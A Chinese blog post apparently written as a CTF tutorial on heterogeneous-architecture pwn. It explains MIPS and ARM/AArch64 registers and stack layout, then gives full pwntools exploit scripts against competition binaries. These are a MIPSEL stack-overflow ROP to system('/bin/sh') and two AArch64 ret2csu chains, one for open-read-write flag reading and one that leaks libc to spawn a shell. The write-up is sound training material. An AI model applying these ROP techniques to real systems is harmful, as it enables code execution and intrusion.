异构 PWN 0x2 入门

异构 PWN 0x2 入门

本文以TFCTF2020中的题目为例,介绍常规mips和arm题目的解法和思路

其中部分内容参考了LYYL大佬的博客ARM环境搭建

MIPS

汇编指令

mips汇编指令可查阅以下网站

https://www.cnblogs.com/CoBrAMG/p/9237609.html

例题

本题程序为32位MIPSEL架构动态链接

查看发现没有开启任何保护,但是checksec对异构程序的检测有时可能会不准确,因此还是考虑通过ropgetshell

image-20201018232455015

通过IDA发现该程序流程几乎和HelloARM一样,但程序中调用了system函数并且输出了其地址

image-20201018233031230

程序的溢出点在read处,偏移可以通过pwntools中的cyclic爆破,也可以通过静态分析得到,如图

程序首先将返回值$ra存入栈顶指针$sp + 0x11c 处,栈基指针$fp存入$sp + 0x118处,之后将$sp赋值给$fp

image-20201018233519584

之后在进行read时, 其实的写入位置是$fp + 0x18, 因此最后的偏移就是offset = 0x11c - 0x18 = 0x104

image-20201018234623210

之后只需要找一个适合的gadget即可get shell

在这里我通过ropper找到了这个地址

0x0000b114: lw $t9, ($sp); lw $a0, 4($sp); jalr $t9; nop;

之后在程序执行过程中向name写入/bin/sh

并在溢出后的栈上依次布置好system_addr以及name_addr即可

注: 由于这里我找到的gadget比较好, 因此没出现什么问题, 但在做ARM或者MIPS架构题目时容易出现栈位置变化导致攻击失败的情况, 此时可以考虑利用喷射的思想,在栈上布置满name_addr, 问题就有可能得以解决

EXP:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
#!/usr/bin/python
#coding=utf-8
#__author__: N1K0_

from pwn import *
from LibcSearcher import LibcSearcher
import inspect
from sys import argv

def ret2libc(leak, func, path=''):
if path == '':
libc = LibcSearcher(func, leak)
base = leak - libc.dump(func)
system = base + libc.dump('system')
binsh = base + libc.dump('str_bin_sh')
else:
libc = ELF(path)
base = leak - libc.sym[func]
system = base + libc.sym['system']
binsh = base + next(libc.search(b'/bin/sh'))
return (base, system, binsh,)

def leak(var):
callers_local_vars = inspect.currentframe().f_back.f_locals.items()
temp = [var_name for var_name, var_val in callers_local_vars if var_val is var][0]
p.info(temp + ': {:#x}'.format(var))

s = lambda data :p.send(data)
sa = lambda delim,data :p.sendafter(delim, data)
sl = lambda data :p.sendline(data)
sla = lambda delim,data :p.sendlineafter(delim, data)
r = lambda numb=4096 :p.recv(numb)
ru = lambda delims, drop=True :p.recvuntil(delims, drop)
uu32 = lambda data :u32(data.ljust(4, b'\0'))
uu64 = lambda data :u64(data.ljust(8, b'\0'))
plt = lambda data :elf.plt[data]
got = lambda data :elf.got[data]
sym = lambda data :libc.sym[data]
itr = lambda :p.interactive()

local_libc = '/lib/x86_64-linux-gnu/libc.so.6'
local_libc_32 = '/lib/i386-linux-gnu/libc.so.6'
remote_libc = ''
binary = './HelloMIPS'

elf = ELF(binary,checksec=False)
libc = ELF('./lib/libuClibc-0.9.30.1.so')

p = process(["qemu-mipsel-static", "-g", "1234","./HelloMIPS"])
if len(argv) > 1:
if argv[1]=='r':
p = remote('10.104.255.211',7777)

def dbg(cmd=''):
os.system('tmux set mouse on')
context.terminal = ['tmux','splitw','-h']
gdb.attach(p,cmd)
pause()

# start
context.log_level = 'DEBUG'
# 0x0001d600: lw $t9, 0x40($sp); nop; jalr $t9; nop;
# 0x0000b114: lw $t9, ($sp); lw $a0, 4($sp); jalr $t9; nop;
pause()
sla('EL.\n','/bin/sh\x00')
ru('ber:')
magic = int(ru('\n'),16)
base = magic - sym('system')
one = base+ 0xb114
name = 0x440E20
leak(magic)
leak(base)
leak(one)
pause()
pl = '/bin/sh\00'.ljust(0x104,'a') + p32(one) + p32(magic) + p32(name)
s(pl)
# end
itr()

ARM

汇编指令

32位下

  • arm32 只有 1632bit 的通用寄存器 r0~r12 , lr, pc, sp

  • arm32用四个寄存器即r0-r3传递前四个参数,被调用的子函数返回前无需恢复r0-r3内容,r0被用来存储函数调用的返回值。使用寄存器r4-r11来保存局部变量。如果子程序中使用了这些寄存器,那么在进入时需要保存这些寄存器的值,并在返回时恢复这些寄存器的值。r7经常用来存储系统调用号,r11存放着栈帧边界的值fp(ebp)

  • r13用作堆栈指针,记作sp,在子程序中r13不能用作其他的用途,进入子程序和返回子程序中sp的值必须相等。也就是说函数的栈帧由fp,sp来指定边界。

    图片无法显示,请联系作者

  • r14用来保存返回地址记作LR,如果子程序中保存了返回地址,那么r14可以用作其他的用途。

  • r15是程序计数器PC。在程序执行过程中,ARM模式下存储当前指令+8也就是两条ARM指令之后的位置,Thumb(v1)模式下PC存储着当前指令+4即两条Thumb指令之后的地址。

  • 32位下堆栈操作是8字节对齐的,常用到的指令是STMFD,LDFMDSTMFD SP! ,{R0-R7,LR}该指令是将R0-R7,LR寄存器中的值依次压栈,最后sp指向的是栈顶的位置,也就是LR的值所在的位置。STMFD SP ,{R0-R7,LR}指令中sp会在压完参数之后回到原位,不会改变sp的值。

    也就是说!表示的是当数据传输完毕之后更新寄存器的值。否则寄存器的值不变。

  • 如果程序中进行了外部调用,则必须满足下面两点,一个是外部接口的堆栈必须是8字节对齐的,汇编程序中使用PRESERVE8伪指令来告诉连接器,汇编程序是8字节对齐的。

  • LDR指令通常用来从内存中加载数据,STR指令则被用作将寄存器的值存放到内存中。

    1
    2
    3
    4
    str r2, [r1, #2]  @ 取址模式:基于偏移量。R2寄存器中的值0x3被存放到R1寄存器的值加2所指向地址处。
    str r2, [r1, r2, LSL#2] @ 取址模式:基于偏移量。R2寄存器中的值0x3被存放到R1寄存器的值加(左移两位后的R2寄存器的值)所指向地址处。R1寄存器不会被修改。
    str r2, [r1, r2, LSL#2]! @ 取址模式:基于索引前置修改。R2寄存器中的值0x3被存放到R1寄存器的值加(左移两位后的R2寄存器的值)所指向地址处,之后R1寄存器中的值被更新,也就R1 = R1 + R2<<2
    ldr r3, [r1], r2, LSL#2 @ 取址模式:基于索引后置修改。R3寄存器中的值是从R1寄存器的值所指向的地址中加载的,加载之后R1寄存器中的值被更新也就是R1 = R1 + R2<<2
  • B简单的跳转功能,(分支链接)BLPC+4保存为LR并跳转至目标地址(由于叶子函数不会改变LR寄存器的值,因此叶子函数可以直接通过LR寄存器进行返回),(分支交换)BX和分支链接交换BLX用于将指令集从ARM交换到Thumb

64位下AArch40

  • arm643264bit长度的通用寄存器x0-x30以及sp,可以用w0-w30访问寄存器中的4字节

  • arm64用八个寄存器即x0-x7传递前八个参数

  • R30也就是LR,保存返回地址,R29也就是FP,保存函数栈的基址,在一些情况下返回值是通过R8返回的。

  • 除了批量加载指令LDM/STM,PUSH/POP,使用STP/LDP对加载指令的寄存器进行替换。常见的内存读写指令有

    LDR,LDRB,LDRSB,LDRH,LDRSW,STR,STRB,STRH

    此处R – Register(寄存器)、B – Byte(字节-8bit)、SB – Signed Byte(有符号字节)、RH – Half Word(半字-16bit)、SW- Signed Word(带符号字-32bit)。

  • 64位中取消了32位下的一些指令,如vswp指令,条件执行指令subgt,addle等。mov r2, r1, lsl #2仅在ARM32下支持,它等同于ARM64lsl r2, r1, #2

ARM 32ARM64常用指令的对应情况。

图片无法显示,请联系作者

例题

分析

两个题目时一个binary,区别就是第一个是直接通过orw读取flag的内容,因为程序一开始已经open("./flag"),第二个则flag文件名称未知,需要getshell才能够获取得到flag。两种方法都是执行rop

程序很明显的存在栈溢出。这里的gadget我们选择的是ret2csu也就是使用的是libc_csu_init中的函数调用链,这个和linux下的相同。

这里可以先通过ida来了解一下arm架构的特点,

可以看到 arm程序的栈基址和返回值是存在函数空间的地地址位上的, 也就是说, 我们无法通过栈溢出来覆盖当前函数的返回值,

只能去覆盖其母函数(main函数)的返回值

image-20201112222758407

第二个点是arm在执行跳转指令 BLR X3时, 实际上跳转的目标是x3寄存器中值指向的地址的值, 不注意的话很容易会出错

题目本身的利用部分并不难,一些涉及到地址的内容如果嫌麻烦不想算的话,可以直接通过pwndbg的search来搜索目标地址/字符串所在的地址, 再计算其与栈地址的差值即可

EXP

ORW

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
#!/usr/bin/python
#coding=utf-8
#__author__:NightK1n9_

from pwn import *
from LibcSearcher import LibcSearcher
import inspect
from sys import argv

def ret2libc(leak, func, path=''):
if path == '':
libc = LibcSearcher(func, leak)
base = leak - libc.dump(func)
system = base + libc.dump('system')
binsh = base + libc.dump('str_bin_sh')
else:
libc = ELF(path)
base = leak - libc.sym[func]
system = base + libc.sym['system']
binsh = base + next(libc.search(b'/bin/sh'))
return (base, system, binsh,)

def leak(var):
callers_local_vars = inspect.currentframe().f_back.f_locals.items()
temp = [var_name for var_name, var_val in callers_local_vars if var_val is var][0]
p.info(temp + ': {:#x}'.format(var))

s = lambda data :p.send(data)
sa = lambda delim,data :p.sendafter(delim, data)
sl = lambda data :p.sendline(data)
sla = lambda delim,data :p.sendlineafter(delim, data)
r = lambda numb=4096 :p.recv(numb)
ru = lambda delims, drop=True :p.recvuntil(delims, drop)
uu32 = lambda data :u32(data.ljust(4, b'\0'))
uu64 = lambda data :u64(data.ljust(8, b'\0'))
plt = lambda data :elf.plt[data]
got = lambda data :elf.got[data]
sym = lambda data :libc.sym[data]
itr = lambda :p.interactive()

binary = './HelloARM'
context.binary = binary

elf = ELF(binary,checksec=False)
libc = elf.libc
# p = process('./HelloARM')
# p = process(["qemu-aarch64","-L","/home/wang/workshop/CTF/exec/my_race/2020/tsctf/3","./HelloARM"])
context.terminal = ['tmux','splitw','-h']
# cmd = 'b *0x400ad0\n'
cmd = 'b *0x400ab0\n'
p = gdb.debug(context.binary.path,cmd)

if len(argv) > 1:
if argv[1]=='r':
# p = remote('10.104.255.211',7777)
p = remote('127.0.0.1',10003)


# start
context.log_level = 'DEBUG'

# --------------------------------- 1 接收栈地址
ru("number:")
magic = int(r(12),16)
leak(magic)
target = 0x411080+0x200
read_plt = plt('read')
write_plt = plt('write')
sla('name:','wang')

# ----------------------------------- 2 利用ret2csu执行orw
# padding
pl = 'a'*0x100
# 填充main函数的栈基址和返回值地址 ret2csu
pl+= p64(magic)+p64(0x400ad0)
# 因为‘ooooooo’函数返回时令sp+0x110 因此要先填充
# x19 & padding
pl+= (p64(read_plt)+p64(write_plt)).ljust(0x20,'a') + p64(0) +''.ljust(0xe8,'a')
# 根据ret2csu进行构造
'''
x19 = 0
x20 = 1
x21 = call
x22 = arg1
x23 = arg2
x24 = arg3
'''
# 基址和返回值地址(需要可读地址)
pl+= p64(magic) + p64(0x400ab0)
# padding and x20
pl+= p64(0) + p64(1)
# read(3,target,0x20)
# 要注意csu中取的是x21中地址的值
pl+= p64(magic-0x10) + p64(5) + p64(magic+0x520) + p64(0x20)
# 第二轮
# 栈基址 返回值
pl+= p64(magic) + p64(0x400ab0)
# padding and x2
pl+= p64(0) + p64(1)
# write(1,target,0x20)
pl+= p64(magic-0x8) + p64(1) + p64(magic+0x520) + p64(0x20)
sa('message:',pl)

itr()

system

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
#!/usr/bin/python
#coding=utf-8
#__author__:NightK1n9_

from pwn import *
from LibcSearcher import LibcSearcher
import inspect
from sys import argv

def ret2libc(leak, func, path=''):
if path == '':
libc = LibcSearcher(func, leak)
base = leak - libc.dump(func)
system = base + libc.dump('system')
binsh = base + libc.dump('str_bin_sh')
else:
libc = ELF(path)
base = leak - libc.sym[func]
system = base + libc.sym['system']
binsh = base + next(libc.search(b'/bin/sh'))
return (base, system, binsh,)

def leak(var):
callers_local_vars = inspect.currentframe().f_back.f_locals.items()
temp = [var_name for var_name, var_val in callers_local_vars if var_val is var][0]
p.info(temp + ': {:#x}'.format(var))

s = lambda data :p.send(data)
sa = lambda delim,data :p.sendafter(delim, data)
sl = lambda data :p.sendline(data)
sla = lambda delim,data :p.sendlineafter(delim, data)
r = lambda numb=4096 :p.recv(numb)
ru = lambda delims, drop=True :p.recvuntil(delims, drop)
uu32 = lambda data :u32(data.ljust(4, b'\0'))
uu64 = lambda data :u64(data.ljust(8, b'\0'))
plt = lambda data :elf.plt[data]
got = lambda data :elf.got[data]
sym = lambda data :libc.sym[data]
itr = lambda :p.interactive()

binary = './HelloARM'
context.binary = binary

elf = ELF(binary,checksec=False)
libc = elf.libc
# p = process('./HelloARM')
context.terminal = ['tmux','splitw','-h']
# cmd = 'b *0x400ad0\n'
cmd = 'b *0x400ad0\n'
# cmd = 'b *0x4009cc\n'
# cmd+= 'b *0x400970\n'
p = gdb.debug(context.binary.path,cmd)

if len(argv) > 1:
if argv[1]=='r':
# p = remote('10.104.255.211',7777)
p = remote('127.0.0.1',10003)


# start
context.log_level = 'DEBUG'

# --------------------------- 1 接收栈地址
ru("number:")
magic = int(r(12),16)

write_plt = plt('write')
write_got = got('write')
system = sym('system')
binsh = 0x411080
vul_addr = 0x4009cc # 需要回到main,如果回到ooo的话无法覆盖返回值
leak(magic)
leak(write_got)
sla('name:','/bin/sh\x00')
# --------------------------- 2 第一次rop 执行write_plt(0,write_got,0x20) 泄露libc基址
# padding
pl = 'a'*0x100
# 填充main函数的栈基址和返回值地址 ret2csu
pl+= p64(magic)+p64(0x400ad0)
# 因为‘ooooooo’函数返回时令sp+0x110 因此要先填充
# x19 & padding
pl+= p64(write_plt).ljust(0x20,'a') + p64(0) +'a'*0xe8
# 根据ret2csu进行构造
'''
x19 = 0
x20 = 1
x21 = call
x22 = arg1
x23 = arg2
x24 = arg3
'''
# 基址和返回值地址(需要可读地址)
pl+= p64(magic) + p64(0x400ab0)
# padding and x20
pl+= p64(0) + p64(1)
# puts(plt_got,0,0)
# 要注意csu中取的是x21中地址的值
pl+= p64(magic-0x10) + p64(1) + p64(write_got) + p64(0x20)
# 第二轮
# 返回main函数
pl+= p64(magic) + p64(vul_addr)
sa('message:',pl)
ru('\n')
write_addr = uu64(r(5))
base = write_addr - sym('write')
leak(base)
system += base
leak(system)

# ----------------------------------------- 3 第二次rop 执行system('/bin/sh')
sla('name:','/bin/sh\x00')
pl = 'a'*0x100
pl+= p64(magic+0x180) + p64(0x400ad0)
pl+= p64(system).ljust(0x20,'a') + p64(0) +'a'*0xe8
pl+= p64(magic) + p64(0x400ab0)
pl+= p64(0) + p64(1)
pl+= p64(magic+0x70) + p64(binsh) + p64(0) + p64(0)

sa('message:',pl)

itr()

本博客所有文章除特别声明外,均采用 CC BY-SA 4.0 协议 ,转载请注明出处!